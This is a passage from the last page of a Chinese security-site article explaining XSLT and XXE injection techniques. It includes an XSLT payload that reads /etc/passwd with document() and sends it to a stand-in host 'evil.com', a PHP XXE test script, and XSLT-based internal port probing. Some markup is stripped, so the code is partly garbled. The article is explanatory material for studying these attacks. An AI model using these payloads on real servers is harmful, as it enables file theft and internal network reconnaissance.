欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

浅析xml之xinclude & xslt

来源:本站整理 作者:佚名 时间:2018-08-18 TAG: 我要投稿

解base64

这很不爽,因为
echo $proc->transformToXML($xmlDoc)
的原因,我们不能输出完整的信息如果我改成
echo base64_encode($proc->transformToXML($xmlDoc));

其实是可以成功读取文件内容的,但估计目标不会先base64再帮我们打印出来吧所以有了以下方法
document()我们结合该函数却可以直接带出数据
xsl:variable name="name1" select="document('file:///etc/passwd')" />
xsl:variable name="name2" select="concat('http://evil.com/?', $name1)" />
xsl:variable name="name3" select="document($name2)" />
传统端口探测
话不多说,测试脚本如下当外部实体引用开启时
$xml =
]>
&shit;
EOD;
$dom = new DOMDocument;
// let's have a nice output
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml,LIBXML_NOENT);
echo $dom->saveXML();
?>
当端口关闭的时候发现

当端口开启的时候

xsl端口探测
上述方法需要开启外部实体引入,而这里只需要使用document()函数即可给出部分代码
xsl:for-each select="sky">
  tr>
    td>xsl:value-of select="name" />td>
    td>xsl:value-of select="blog" />td>
    td>xsl:value-of select="country" />td>
    td>xsl:value-of select="document('http://127.0.0.1:9999')" />td>
  tr>
  xsl:for-each>
当端口关闭时

当端口开启时

CTF样题
曾经有做过一道xslt服务端注入攻击的综合题目,有兴趣的可以看这篇wrietuphttp://skysec.top/2018/03/23/%E4%BB%8Esql%E6%B3%A8%E5%85%A5%E5%88%B0xslt%E5%86%8D%E5%88%B0xxe%E7%9A%84%E4%B8%80%E9%81%93ctf%E9%A2%98%E7%9B%AE/#%E6%80%9D%E8%80%83%E6%94%BB%E5%87%BB%E7%82%B9
 
后记
Xml作为一种标记语言,其中蕴含的技巧还有许多等待探索,我在此抛砖引玉了~很期待有师傅来交流一些XD的姿势~
 

上一页  [1] [2] [3] 

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载